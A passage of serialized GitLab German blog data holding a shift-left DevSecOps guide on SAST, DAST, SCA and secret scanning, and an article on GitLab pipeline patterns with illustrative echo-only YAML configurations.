Transcend in München wird auf Englisch stattfinden.*",[806,867,758],{"featured":13,"template":796,"slug":974},"ai-is-reshaping-devsecops-attend-gitlab-transcend-to-see-whats-next",{"content":976,"config":984},{"title":977,"category":696,"tags":978,"authors":979,"heroImage":980,"body":981,"description":982,"date":983},"Shift Left Security: DevSecOps richtig umsetzen – ein Praxisleitfaden",[867],[927],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1765222301/czfqu7ajwcwyyn4beg6k.jpg","Traditionelle Sicherheitsmodelle geraten in modernen [DevOps-Umgebungen](https://about.gitlab.com/de-de/topics/devops/) schnell an ihre Grenzen. Sicherheitsprüfungen, die erst spät im Entwicklungsprozess erfolgen, verursachen hohe Kosten, lange Reaktionszeiten und unterbrechen agile Workflows. Der Shift Left Security-Ansatz begegnet diesen Herausforderungen, indem er Sicherheitsmaßnahmen frühzeitig integriert. Statt reaktiv auf Sicherheitslücken zu reagieren, werden Risiken bereits in der Entwicklungsphase erkannt und adressiert. Wir zeigen dir, wie dieser Ansatz funktioniert, welche Vorteile er bietet und wie du Shift Left Security umsetzt.\n\n## **Was ist Shift Left Security?**\n\nShift Left Security bezeichnet einen Ansatz in der Softwareentwicklung, bei dem Sicherheitsmaßnahmen möglichst früh im Entwicklungsprozess integriert werden.\n\nTraditionell wurden Sicherheitstests erst am Ende des Softwareentwicklungszyklus (SDLC) durchgeführt, zum Beispiel in der Test- oder Produktionsphase. Dieses Vorgehen führt oft zu höheren Kosten und längeren Entwicklungszeiten, wenn kritische Sicherheitslücken spät entdeckt werden.\n\nMit dem Shift Left Ansatz wird das Thema Sicherheit nun auf der Zeitachse der Anwendungsentwicklung nach links verschoben, sodass anfälliger Code früh entdeckt werden kann. Ziel ist es, Schwachstellen schon in den frühen Phasen wie Planung, Design oder Codierung zu erkennen und zu beheben, statt sie erst im späteren Verlauf oder nach dem Deployment zu adressieren.\n\n![Infografik So funktioniert Shift Left](https://res.cloudinary.com/about-gitlab-com/image/upload/v1765222295/lx0qqnnyse2ginovcnxb.jpg \"Schaubild: Shift Left Security, Sicherheitsmaßnahmen werden möglichst früh im Entwicklungsprozess integriert.\")\n\n## **Der Shift Left Ansatz**\n\nShift Left Security ist eine strategische Herangehensweise, bei der Sicherheit möglichst früh in den Entwicklungsprozess integriert wird – nicht durch ein einzelnes Tool, sondern durch eine Kombination verschiedener Maßnahmen.\n\nTypischerweise werden dafür Sicherheitstools entlang des Entwicklungszyklus eingesetzt, darunter:\n\n* **SCA (Software Composition Analysis)**: SCA erkennt Schwachstellen und Lizenzrisiken in Open-Source-Komponenten, indem es Paketverwaltung, Manifestdateien, Binärdateien und Container-Images analysiert. Die Ergebnisse werden in einer Software-Stückliste (sog.[ Software Bill of Materials](https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/)) zusammengeführt und mit Schwachstellen- und Lizenzdatenbanken abgeglichen. So lassen sich Sicherheits- und Compliance-Probleme systematisch aufspüren und schnell adressieren.\n* **SAST (Static Application Security Testing)**: SAST ist ein White-Box-Verfahren, das den Quellcode analysiert, ohne die Anwendung auszuführen. Es spiegelt die Sichtweise von Entwickler(innen) wider und erkennt Schwachstellen früh im Softwareentwicklungszyklus, z. B. fehlende Eingabevalidierung oder unsichere Codemuster. Dadurch ist es besonders kosteneffizient. Laufzeit- oder umgebungsbezogene Probleme kann SAST allerdings nicht erfassen.\n* **DAST (Dynamic Application Security Testing)**: DAST ist ein Black-Box-Verfahren, das laufende Web-Anwendungen testet und sich an der Methodik potenzieller Angreifer(innen) orientiert. Es erkennt Schwachstellen wie XSS, fehlerhafte Authentifizierung oder Konfigurationsfehler zur Laufzeit – ohne Kenntnis des zugrundeliegenden Codes. DAST wird typischerweise in späten Phasen der Entwicklung oder in Testumgebungen eingesetzt und eignet sich ausschließlich für Web-Anwendungen und -Services.\n* **Secret Scanning:** Shift Left Security umfasst auch das Scannen von Container-Images und serverlosen Funktionen, da moderne Anwendungen zunehmend in Containern ausgeführt oder über serverlose Architekturen bereitgestellt werden. Beim Scannen eines [Container-Images](https://about.gitlab.com/de-de/topics/devsecops/beginners-guide-to-container-security/) wird der Inhalt auf Sicherheitslücken, Schwachstellen im Build-Prozess und fehlerhafte Konfigurationen geprüft. Ziel ist es, Probleme zu erkennen, bevor das Image in der Produktion verwendet wird. Das Scannen serverloser Funktionen erfordert spezielle Überwachungslösungen, die cloud-native Umgebungen abdecken und auch ohne klassische Serverinfrastruktur funktionieren.\n\nDiese Tools können einzeln oder kombiniert verwendet werden. Effektiver ist jedoch eine [automatisierte Sicherheitsplattform](https://about.gitlab.com/de-de/blog/why-are-organizations-moving-to-a-unified-devsecops-platform/), die Risiken in allen Phasen des Entwicklungszyklus erkennt – von der Codierung bis zur Bereitstellung. So können DevOps-Teams Schwachstellen frühzeitig und systematisch beheben.\n\n**Lesetipp:** [SAST vs. DAST - Die Unterschiede erklärt](https://about.gitlab.com/de-de/topics/devsecops/sast-vs-dast/)\n\n## **Vorteile der Shift Left Security**\n\nDie Linksverschiebung sicherheitsrelevanter Maßnahmen führt zu einer Reihe von Vorteilen für Unternehmen und Entwickler(innen).\n\n* **Frühzeitiges Erkennen von Sicherheitsrisiken:** Durch Sicherheitsanalysen direkt im Code oder bei der Integration von Abhängigkeiten lassen sich Schwachstellen erkennen, bevor sie in produktive Systeme gelangen. Dies verschafft Entwickler(innen) mehr Zeit für die Reaktion und reduziert die potenzielle Bedrohung (beispielsweise durch Exploits oder Datenlecks) erheblich.\n* **Geringere Kosten für Fehlerbehebung:** Je später ein Sicherheitsfehler entdeckt wird, desto teurer ist seine Behebung. Wird eine Schwachstelle bereits vor dem Build entdeckt, reicht oft eine einfache Codeänderung – ohne zusätzlichen Aufwand für Tests oder Deployments. Wird das Problem erst in der Produktion bemerkt, ist der Aufwand deutlich höher und der gesamte Prozess kann Wochen dauern. Frühes Eingreifen spart Zeit, senkt die Kosten und ermöglicht es Entwickler(innen), sich stärker auf neue Funktionen statt auf Notfallpatches zu konzentrieren.\n* **Schnellere Entwicklungszyklen:** Sicherheitsprobleme lassen sich schneller beheben, solange sie nur im Quellcode bestehen. Wird ein Problem erst kurz vor dem Release oder in der Produktion entdeckt, verlängert sich der Behebungsprozess deutlich – mit der Gefahr, gesetzte Fristen zu verpassen und die Time-to-Market zu verlangsamen.\n* **Bessere Codequalität:** Sicherheitsüberprüfungen fördern eine saubere Code-Architektur, konsistente Implementierung und verständlichen Code. So entstehen robuste und wartbare Anwendungen.\n* **Bessere Zusammenarbeit:** Shift Left Security fördert die Zusammenarbeitzwischen Entwickler(innen) und Security-Teams. Wird ein Sicherheitsproblem früh im Quellcode erkannt, können beide Seiten gemeinsam daran arbeiten, ohne Schuldzuweisungen oder Zeitdruck. Das verbessert die Kommunikation und stärkt das gegenseitige Verständnis.\n* **Reduziertes Risiko im Live-Betrieb:** Wird eine Schwachstelle erst im laufenden Betrieb entdeckt, sind schnelle und oft drastische Maßnahmen nötig – etwa das Abschalten der App. Wird die Schwachstelle hingegen bereits während der Entwicklung identifiziert, lässt sie sich mit geringem Aufwand und ohne größere Auswirkungen auf Nutzer(innen) beheben.\n\n***[Wie Dunelm, der britische Marktführer für Haushaltswaren, die Sicherheit \"nach links\" geschoben hat, steht in dieser ausführlichen Case Study.](https://about.gitlab.com/de-de/customers/dunelm/)***\n\n## **Best Practices für deinen Shift Left Security Ansatz**\n\nShift Left Security erfordert die frühzeitige und umfassende Integration von Sicherheitsmaßnahmen in den Entwicklungsprozess – idealerweise ab dem ersten Moment, in dem Entwickler(innen) mit dem Programmieren beginnen. Die Sicherheitsprüfung soll nicht nachgelagert, sondern integraler Bestandteil der täglichen Entwicklungsarbeit sein. Damit das gelingt, solltest du auf Best Practices zurückgreifen.\n\n### **\\#1 Integration von Sicherheitsmaßnahmen in die CI/CD-Pipeline**\n\nSicherheits-Scans sind ein zentrales Element des Shift-Left-Ansatzes. Ihre volle Wirkung entfalten sie aber nur, wenn die Ergebnisse unmittelbar in die[ DevOps-Toolkette](https://about.gitlab.com/de-de/topics/ci-cd/shift-left-devops/) eingebunden sind. Reports sollten direkt im CI/CD-Pipeline-Bericht angezeigt werden, sodass Entwickler(innen) sie ohne Umwege nutzen können. Zusätzlich sollte die Erstellung einer Software Bill of Materials (SBOM) automatisiert werden, um alle verwendeten Abhängigkeiten, Container-Images und serverlosen Funktionen transparent zu erfassen und systematisch auf bekannte Schwachstellen zu prüfen.\n\n### **\\#2 Anwendung von Security-Tools in der Entwicklungsumgebung**\n\nSicherheitsfunktionen sollten direkt in die Entwicklungsumgebung eingebunden werden, damit Schwachstellen bereits vor Übertragung in den Main Branch erkannt werden. Durch die Integration in die vertrauten Toolsets der Entwickler(innen) wird eine kontinuierliche Zusammenarbeit mit dem Security-Team ermöglicht und der Aufwand für nachträgliche Korrekturen deutlich reduziert.\n\n### **\\#3 Schulung von Entwickler(innen)**\n\nDamit Entwickler(innen) die Anwendungssicherheit bereits frühzeitig im Prozess berücksichtigen, ist eine intensive Schulung notwendig. Entwicklerteams müssen verstehen, warum sie Sicherheitsprüfungen frühzeitig durchführen – und welchen Beitrag das zur Gesamtqualität und Stabilität der Anwendung leistet. Dazu eignen sich praxisnahe und rollenbezogene Schulungsformate wie z. B. Code Labs, Code Guidelines oder Hands-on-Training.\n\n### **\\#4 Integration von Security Reviews in Code Reviews und Pull Requests**\n\nSicherheit sollte auch Teil von [Code Reviews](https://about.gitlab.com/de-de/topics/version-control/what-is-code-review/) sein. Teams können z. B. Checklisten mit sicherheitsrelevanten Aspekten verwenden. Pair Programming bietet zusätzlich die Möglichkeit, Sicherheit direkt beim Schreiben des Codes mitzudenken – vor allem in frühen Projektphasen.\n\n## **HackerOne + GitLab: Setze Shift Left Security einfach und kostengünstig um**\n\nEine der größten Herausforderungen für die Umsetzung der Shift Left Sicherheit für Entwicklerteams ist eine aufgeblähte Toolchain. Der Wechsel zwischen Tools und unklare Rollenverteilungen können die frühzeitige Integration von Sicherheitsüberprüfungen behindern.\n\nGitLab bietet mit HackerOne eine integrierte Lösung, die Security-Teams und Entwickler(innen) effektiv verbindet. Sicherheitslücken, die über HackerOne gemeldet und validiert werden, werden automatisch in GitLab als Tickets angelegt. Diese enthalten unter anderem:\n\n* Synchronisation von Kommentaren\n* Statusänderungen\n* Zuständigkeiten\n* Belohnungen\n* Fälligkeitsdaten\n\nDie Kommunikation erfolgt dabei bidirektional zwischen beiden Plattformen. Die Integration ermöglicht es somit Entwickler(innen), im gewohnten Workflow zu bleiben und Sicherheitslücken direkt zu bearbeiten.\n\n### **Auswirkungen der automatisierten Sicherheitsintegration**\n\nDie Integration von HackerOne und GitLab führt in der Praxis zu:\n\n* Bis zu 70 Prozent Zeitersparnis von der Entdeckung bis zur Behebung von Schwachstellen\n* Erhöhte Transparenz über den Sicherheitsstatus im gesamten Unternehmen\n* Effektivere Nutzung der Ressourcen im Security-Team\n* Gesteigerte Zufriedenheit der Entwickler(innen), da sie im bevorzugten Workflow bleiben können\n\n## **Keine Kompromisse bei der Shift Left Security**\n\nShift Left Security verschiebt das Thema Sicherheit weg von der Endkontrolle hin zur kontinuierlichen Begleitung des Entwicklungsprozesses. Durch Tools wie SAST, DAST, SCA und Container-Scanning lassen sich Schwachstellen frühzeitig identifizieren – noch bevor sie produktiv wirksam werden. Das senkt Kosten, reduziert Risiken und beschleunigt Entwicklungszyklen.\n\nErfolgreich ist dieser Ansatz jedoch nur, wenn Sicherheitsprüfungen eng in die[ CI/CD-Pipeline](https://about.gitlab.com/de-de/topics/ci-cd/cicd-pipeline/) und Entwicklungsumgebungen integriert werden und Entwickler(innen) durch gezielte Schulungen und klare Prozesse unterstützt werden. Die Fallstudie zu GitLab und HackerOne zeigt zudem, dass integrierte Plattformen Kontextwechsel vermeiden und die Effizienz deutlich steigern können. Entscheidend für eine nachhaltige Umsetzung ist eine Sicherheitskultur, in der Entwicklung und Security partnerschaftlich und auf Augenhöhe zusammenarbeiten.","Erkenne und behebe Sicherheitslücken früh mit Shift-Left-Security. Lerne aus HackerOnes GitLab-Story und erhalte praxisnahe DevSecOps-Tipps.","2025-12-08",{"featured":645,"template":796,"slug":985},"devsecops-shift-left-guide",{"category":707,"slug":709,"posts":987},[988,1000,1011],{"content":989,"config":998},{"body":990,"title":991,"description":992,"authors":993,"heroImage":995,"date":996,"category":709,"tags":997},"## Abschnitt 1: Das Modell verstehen\n*Für Engineering-Leads und Entscheidungsträger: Konzept, Anwendungsfälle und Architekturprinzipien. Konfigurationsdetails folgen in Abschnitt 2.*\n\nDie meisten CI/CD-Werkzeuge können einen Build ausführen und ein Deployment anstoßen. Der Unterschied zeigt sich erst dann, wenn die Delivery-Anforderungen komplexer werden: ein Monorepo mit einem Dutzend Services, Microservices über mehrere Repositories verteilt, Deployments in Dutzende von Umgebungen gleichzeitig – oder ein Platform-Team, das organisationsweite Standards durchsetzen will, ohne dabei zum Engpass zu werden.\n\nGitLabs Pipeline-Modell wurde für genau diese Komplexität entwickelt. Parent-Child-Pipelines, DAG-Execution, dynamische Pipeline-Generierung, Multi-Project-Trigger, Merge-Request-Pipelines mit Merged-Results-Verarbeitung und CI/CD Components lösen jeweils eine eigene Klasse von Problemen. Da sich diese Bausteine kombinieren lassen, erschließt das vollständige Modell mehr als nur kürzere Pipeline-Laufzeiten.\n\nDieser Artikel beschreibt die fünf Muster, bei denen das Modell seine Stärken deutlich zeigt – jeweils zugeordnet zu einem konkreten Engineering-Szenario. Konfigurationen und Implementierungsdetails folgen in Abschnitt 2.\n\n### 1. Monorepos: Parent-Child-Pipelines und DAG-Execution\n\n**Das Problem:** Ein Monorepo enthält Frontend, Backend und Dokumentation. Jeder Commit löst einen vollständigen Rebuild aller Komponenten aus – auch wenn sich nur eine README-Datei geändert hat.\n\nGitLab kombiniert zwei sich ergänzende Mechanismen: [Parent-Child-Pipelines](https://docs.gitlab.com/ci/pipelines/downstream_pipelines/#parent-child-pipelines) ermöglichen es einer übergeordneten Pipeline, isolierte Child-Pipelines zu starten. [DAG-Execution via `needs`](https://docs.gitlab.com/ci/yaml/#needs) bricht die starre Stage-Reihenfolge auf und startet Jobs, sobald ihre Abhängigkeiten abgeschlossen sind – nicht erst, wenn alle Jobs einer Stage fertig sind.\n\nEine Parent-Pipeline erkennt, welche Teile des Repos sich geändert haben, und löst ausschließlich die betroffenen Child-Pipelines aus. Jeder Service verwaltet seine eigene Pipeline-Konfiguration; Änderungen in einem Service können keine anderen beeinflussen. Damit bleibt die Komplexität beherrschbar, während das Repository und das Team wachsen.\n\nEinen technischen Aspekt gilt es dabei zu kennen: Wenn mehrere Dateien an einen einzelnen `trigger: include:`-Block übergeben werden, fusioniert GitLab sie zu einer einzigen Child-Pipeline-Konfiguration. Jobs aus diesen Dateien teilen denselben Pipeline-Kontext und können sich gegenseitig per `needs:` referenzieren – das ist die Voraussetzung für die DAG-Optimierung. Werden die Dateien stattdessen auf separate Trigger-Jobs aufgeteilt, entsteht jeweils eine isolierte Pipeline, und dateiübergreifende `needs:`-Referenzen funktionieren nicht.\n\nIn großen Monorepos lassen sich Pipeline-Laufzeiten durch DAG-Execution deutlich reduzieren, da Jobs nicht mehr auf unabhängige Arbeitsschritte in derselben Stage warten.\n\n### 2. Microservices: Cross-Repo-Pipelines über mehrere Projekte\n\n**Das Problem:** Frontend und Backend leben in separaten Repositories. Wenn das Frontend-Team eine Änderung ausliefert, ist nicht erkennbar, ob sie die Backend-Integration beeinträchtigt – und umgekehrt.\n\n[Multi-Project-Pipelines](https://docs.gitlab.com/ci/pipelines/downstream_pipelines/#multi-project-pipelines) ermöglichen es, aus einem Projekt heraus eine Pipeline in einem anderen Projekt auszulösen und auf das Ergebnis zu warten. Das auslösende Projekt sieht die verknüpfte Downstream-Pipeline direkt in seiner eigenen Pipeline-Ansicht.\n\nIn der Praxis erstellt die Frontend-Pipeline ein API-Contract-Artifact und veröffentlicht es, bevor die Backend-Pipeline ausgelöst wird. Das Backend ruft dieses Artifact über die [Jobs API](https://docs.gitlab.com/ee/api/jobs.html#download-a-single-artifact-file-from-specific-tag-or-branch) ab und validiert es, bevor weitere Schritte erlaubt sind. Wird eine Breaking Change erkannt, schlägt die Backend-Pipeline fehl – und mit ihr die Frontend-Pipeline. Probleme, die bisher erst in der Produktion sichtbar wurden, werden damit im Pipeline-Prozess abgefangen. Die Abhängigkeit zwischen Services wird sichtbar, nachvollziehbar und aktiv verwaltbar.\n\n![Cross-project pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738762/Blog/Imported/hackathon-fake-blog-post-s/image4_h6mfsb.png \"Cross-project pipelines\") *Cross-project pipelines*\n\n### 3. Multi-Tenant/Matrix-Deployments: Dynamische Child-Pipelines\n\n**Das Problem:** Dieselbe Anwendung wird in 15 Kundenumgebungen, drei Cloud-Regionen oder den Stages Dev/Staging/Prod deployed. Manuelle Anpassungen je Umgebung führen zu Konfigurationsdrift. Eine separate Pipeline pro Umgebung ist von Anfang an nicht wartbar.\n\n[Dynamische Child-Pipelines](https://docs.gitlab.com/ci/pipelines/downstream_pipelines/#dynamic-child-pipelines) generieren die Pipeline-Struktur zur Laufzeit. Ein Job führt ein Skript aus, das eine YAML-Datei erzeugt – und diese YAML-Datei wird zur Pipeline für den nächsten Schritt. Die Pipeline-Struktur selbst wird damit zu Daten.\n\nDas Generierungsskript iteriert über eine `ENVIRONMENTS`-Variable, statt jede Umgebung fest zu kodieren. Eine neue Umgebung lässt sich durch Anpassen der Variable hinzufügen – ohne Änderungen an der Pipeline-Konfiguration selbst. Trigger-Jobs erben mit `extends:` eine gemeinsame Template-Konfiguration, sodass `strategy: depend` einmal definiert und nicht für jeden Trigger-Job wiederholt wird. Ein `when: manual`-Gate für das Produktions-Deployment ist direkt in den Pipeline-Graph integriert.\n\nPlatform-Teams nutzen dieses Muster, um Dutzende von Umgebungen zu verwalten, ohne Pipeline-Logik zu duplizieren.\n\n![Dynamic pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738765/Blog/Imported/hackathon-fake-blog-post-s/image7_wr0kx2.png \"Dynamic pipeline\")\n\n### 4. MR-First-Delivery: Merge-Request-Pipelines, Merged-Results und Workflow-Routing\n\n**Das Problem:** Die Pipeline läuft bei jedem Push auf jeden Branch. Aufwändige Tests werden auf Feature-Branches ausgeführt, die nie gemergt werden. Gleichzeitig gibt es keine Garantie, dass das Getestete dem entspricht, was nach dem Merge auf `main` tatsächlich landet.\n\nGitLab kombiniert drei ineinandergreifende Mechanismen: [Merge-Request-Pipelines](https://docs.gitlab.com/ci/pipelines/merge_request_pipelines/) laufen ausschließlich dann, wenn ein Merge Request existiert – nicht bei jedem Branch-Push. Allein dadurch entfällt ein erheblicher Anteil unnötiger Compute-Ausführungen. [Merged-Results-Pipelines](https://docs.gitlab.com/ci/pipelines/merged_results_pipelines/) gehen einen Schritt weiter: GitLab erstellt einen temporären Merge-Commit aus dem Branch und dem aktuellen Ziel-Branch und führt die Pipeline dagegen aus. Getestet wird damit das tatsächliche Ergebnis des Merges – nicht der Branch in Isolation. [Workflow-Rules](https://docs.gitlab.com/ci/yaml/workflow/) definieren schließlich, welcher Pipeline-Typ unter welchen Bedingungen ausgeführt wird. Die `$CI_OPEN_MERGE_REQUESTS`-Guard verhindert dabei, dass für einen Branch mit offenem MR doppelte Pipelines ausgelöst werden.\n\nDas Ergebnis ist ein Pipeline-Verhalten, das sich je nach Kontext unterscheidet: Ein Push auf einen Feature-Branch ohne offenen MR führt nur Lint und Unit-Tests aus. Sobald ein MR geöffnet wird, wechseln die Workflow-Rules auf eine MR-Pipeline mit der vollständigen Test-Suite gegen das Merged-Result. Ein Merge auf `main` stellt ein manuelles Produktions-Deployment in die Warteschlange. Der Nightly-Scan läuft einmalig als geplante Pipeline – nicht bei jedem Commit.\n\nMerged-Results-Pipelines fangen dabei die Klasse von Fehlern ab, die erst nach einem Merge sichtbar werden – bevor sie `main` erreichen.\n\n### 5. Governed Pipelines: CI/CD Components\n\n**Das Problem:** Das Platform-Team hat den richtigen Weg für Build, Test und Deploy definiert. Jedes Anwendungsteam pflegt jedoch eine eigene `.gitlab-ci.yml` mit subtilen Abweichungen. Security-Scanning wird übersprungen. Deployment-Standards driften. Audits werden aufwändig.\n\n[CI/CD Components](https://docs.gitlab.com/ci/components/) ermöglichen es Platform-Teams, versionierte, wiederverwendbare Pipeline-Bausteine zu veröffentlichen. Anwendungsteams binden sie mit einer einzigen `include:`-Zeile ein – kein Copy-Paste, kein Drift. Components sind über den [CI/CD Catalog](https://docs.gitlab.com/ci/components/#cicd-catalog) auffindbar, sodass Teams bewährte Bausteine finden und übernehmen können, ohne das Platform-Team direkt einschalten zu müssen.\n\nDrei Zeilen `include:` ersetzen hunderte von duplizierten YAML-Zeilen. Das Platform-Team kann einen Security-Fix in einer neuen Komponentenversion veröffentlichen – Teams steigen auf ihrem eigenen Zeitplan um, oder das Platform-Team fixiert alle auf eine Mindestversion. In beiden Fällen propagiert eine Änderung organisationsweit, statt repo-für-repo angewendet zu werden.\n\nKombiniert mit [Resource Groups](https://docs.gitlab.com/ci/resource_groups/) zur Vermeidung konkurrierender Deployments und [Protected Environments](https://docs.gitlab.com/ci/environments/protected_environments/) für Freigabe-Gates entsteht eine governed Delivery-Plattform, auf der **Compliance der Standard ist, nicht die Ausnahme**. Platform-Teams setzen Vorgaben durch, ohne zum Engpass zu werden.\n\n![Component pipeline (imported jobs)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738776/Blog/Imported/hackathon-fake-blog-post-s/image2_pizuxd.png \"Component pipeline (imported jobs)\")\n\n## Das Modell als Ganzes\n\nKeines dieser Muster existiert isoliert. Der Wert von GitLabs Pipeline-Modell liegt in der Kombinierbarkeit seiner Bausteine:\n\n- Ein Monorepo nutzt Parent-Child-Pipelines, und jede Child-Pipeline nutzt DAG-Execution.\n- Eine Microservices-Plattform nutzt Multi-Project-Pipelines, und jedes Projekt nutzt MR-Pipelines mit Merged-Results.\n- Eine governed Plattform nutzt CI/CD Components, um die obigen Muster organisationsweit zu standardisieren.\n\nDie meisten Teams entdecken eines dieser Muster, wenn sie auf ein konkretes Problem stoßen. Teams, die das vollständige Modell verstehen, entwickeln daraus eine Delivery-Infrastruktur, die tatsächlich abbildet, wie ihre Engineering-Organisation arbeitet – und mit ihr wächst.\n\n## Weitere Muster\n\nDas Pipeline-Modell geht über die fünf vorgestellten Muster hinaus:\n\n- [Review Apps mit dynamischen Umgebungen](https://docs.gitlab.com/ci/environments/) erstellen für jeden Feature-Branch eine Live-Vorschau und räumen sie automatisch auf, wenn der MR geschlossen wird.\n- [Caching- und Artifact-Strategien](https://docs.gitlab.com/ci/caching/) sind nach der strukturellen Arbeit häufig der direkteste Weg zur weiteren Laufzeitoptimierung – ohne die Pipeline-Struktur zu verändern.\n- [Geplante und API-ausgelöste Pipelines](https://docs.gitlab.com/ci/pipelines/schedules/) eignen sich für Workloads, die nicht bei jedem Code-Push laufen sollten: Nightly-Security-Scans, Compliance-Reports und Release-Automatisierung lassen sich als geplante oder [API-ausgelöste](https://docs.gitlab.com/ci/triggers/) Pipelines mit `$CI_PIPELINE_SOURCE`-Routing modellieren.\n\n> [GitLab Ultimate kostenlos testen](https://about.gitlab.com/de-de/free-trial/) und Pipeline-Logik ab heute einsetzen.\n\n## Für deutsche Unternehmen: Regulatorischer Kontext\n\nTeams, die Pipeline-Governance nach Muster 5 einführen, adressieren dabei möglicherweise auch Anforderungen, die regulatorische Frameworks an sichere Softwareentwicklungsprozesse stellen.\n\nCI/CD Components mit erzwungenen Security-Gates könnten Anforderungen an sichere Entwicklungsprozesse betreffen – beispielsweise in Bereichen, die Frameworks wie NIS2, ISO 27001 oder BSI IT-Grundschutz an den Software-Entwicklungslebenszyklus adressieren. Protected Environments und Resource Groups betreffen ähnliche Themen im Bereich Änderungskontrolle und Umgebungstrennung, wie sie in Governance-Frameworks typischerweise explizit formuliert sind.\n\nMulti-Project-Pipelines mit API-Contract-Validierung (Muster 2) schaffen Sichtbarkeit über Service-Abhängigkeiten hinweg – ein Aspekt, den Frameworks zur Lieferkettensicherheit adressieren.\n\nMerged-Results-Pipelines (Muster 4) dokumentieren automatisch, dass das tatsächliche Merge-Ergebnis getestet wurde, nicht nur der Feature-Branch in Isolation. Dies könnte Anforderungen an nachvollziehbare Änderungsprozesse betreffen, wie sie in Change-Management-Kontrollen verschiedener Sicherheitsframeworks formuliert sind.\n\nFür konkrete Compliance-Anforderungen im eigenen regulatorischen Umfeld empfiehlt sich Rücksprache mit entsprechender Fachberatung.\n\n## Abschnitt 2: Konfiguration und Implementierung\n\n*Für Entwicklungsteams und DevOps-Praktiker: ausgewählte Konfigurationsbeispiele zu den Mustern 1, 4 und 5. Für vollständige Konfigurationen aller Muster: [englischer Originalartikel](https://about.gitlab.com/blog/5-ways-gitlab-pipeline-logic-solves-real-engineering-problems/).*\n\nDie folgenden Konfigurationen sind illustrativ aufgebaut. Die Skripte verwenden `echo`-Befehle, um das Wesentliche sichtbar zu halten. Für den produktiven Einsatz werden die `echo`-Befehle durch die tatsächlichen Build-, Test- und Deploy-Schritte ersetzt.\n\n### Muster 1: Parent-Child-Pipelines und DAG-Execution\n\nEine Parent-Pipeline erkennt Änderungen und löst nur die betroffenen Child-Pipelines aus:\n\n```yaml # .gitlab-ci.yml stages:\n  - trigger\n\ntrigger-services:\n  stage: trigger\n  trigger:\n    include:\n      - local: '.gitlab/ci/api-service.yml'\n      - local: '.gitlab/ci/web-service.yml'\n      - local: '.gitlab/ci/worker-service.yml'\n    strategy: depend\n```\n\nInnerhalb der Child-Pipeline ermöglicht `needs:` DAG-Execution – der Test startet, sobald der Build abgeschlossen ist, ohne auf andere Jobs in derselben Stage zu warten:\n\n```yaml # .gitlab/ci/api-service.yml stages:\n  - build\n  - test\n\nbuild-api:\n  stage: build\n  script:\n    - echo \"Building API service\"\n\ntest-api:\n  stage: test\n  needs: [build-api]\n  script:\n    - echo \"Running API tests\"\n```\n\n![Local downstream pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738759/Blog/Imported/hackathon-fake-blog-post-s/image3_vwj3rz.png \"Local downstream pipelines\")\n\n### Muster 4: MR-First-Delivery\n\nWorkflow-Rules, MR-Pipelines und Merged-Results zusammen ergeben ein kontextabhängiges Pipeline-Verhalten:\n\n```yaml # .gitlab-ci.yml workflow:\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS\n      when: never\n    - if: $CI_COMMIT_BRANCH\n    - if: $CI_PIPELINE_SOURCE == \"schedule\"\n\nstages:\n  - fast-checks\n  - expensive-tests\n  - deploy\n\nlint-code:\n  stage: fast-checks\n  script:\n    - echo \"Running linter\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH == \"main\"\n\nunit-tests:\n  stage: fast-checks\n  script:\n    - echo \"Running unit tests\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"push\"\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH == \"main\"\n\nintegration-tests:\n  stage: expensive-tests\n  script:\n    - echo \"Running integration tests (15 min)\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH == \"main\"\n\ne2e-tests:\n  stage: expensive-tests\n  script:\n    - echo \"Running E2E tests (30 min)\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH == \"main\"\n\nnightly-comprehensive-scan:\n  stage: expensive-tests\n  script:\n    - echo \"Running full nightly suite (2 hours)\"\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"schedule\"\n\ndeploy-production:\n  stage: deploy\n  script:\n    - echo \"Deploying to production\"\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\"\n      when: manual\n```\n\n![Conditional pipelines (within a branch with no MR)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738768/Blog/Imported/hackathon-fake-blog-post-s/image6_dnfcny.png \"Conditional pipelines (within a branch with no MR)\")\n\n![Conditional pipelines (within an MR)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738772/Blog/Imported/hackathon-fake-blog-post-s/image1_wyiafu.png \"Conditional pipelines (within an MR)\")\n\n![Conditional pipelines (on the main branch)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775738774/Blog/Imported/hackathon-fake-blog-post-s/image5_r6lkfd.png \"Conditional pipelines (on the main branch)\")\n\n### Muster 5: CI/CD Components\n\nEine Komponentendefinition aus einer gemeinsamen Bibliothek:\n\n```yaml # templates/deploy.yml spec:\n  inputs:\n    stage:\n      default: deploy\n    environment:\n      default: production\n--- deploy-job:\n  stage: $[[ inputs.stage ]]\n  script:\n    - echo \"Deploying $APP_NAME to $[[ inputs.environment ]]\"\n    - echo \"Deploy URL: $DEPLOY_URL\"\n  environment:\n    name: $[[ inputs.environment ]]\n```\n\nSo bindet ein Anwendungsteam die Komponenten ein:\n\n```yaml # Application repo: .gitlab-ci.yml variables:\n  APP_NAME: \"my-awesome-app\"\n  DEPLOY_URL: \"https://api.example.com\"\n\ninclude:\n  - component: gitlab.com/my-org/component-library/build@v1.0.6\n  - component: gitlab.com/my-org/component-library/test@v1.0.6\n  - component: gitlab.com/my-org/component-library/deploy@v1.0.6\n    inputs:\n      environment: staging\n\nstages:\n  - build\n  - test\n  - deploy\n```\n\n### Orientierung zu den Mustern 2 und 3\n\n**Muster 2 (Multi-Project-Pipelines):** Das Frontend-Repository publiziert 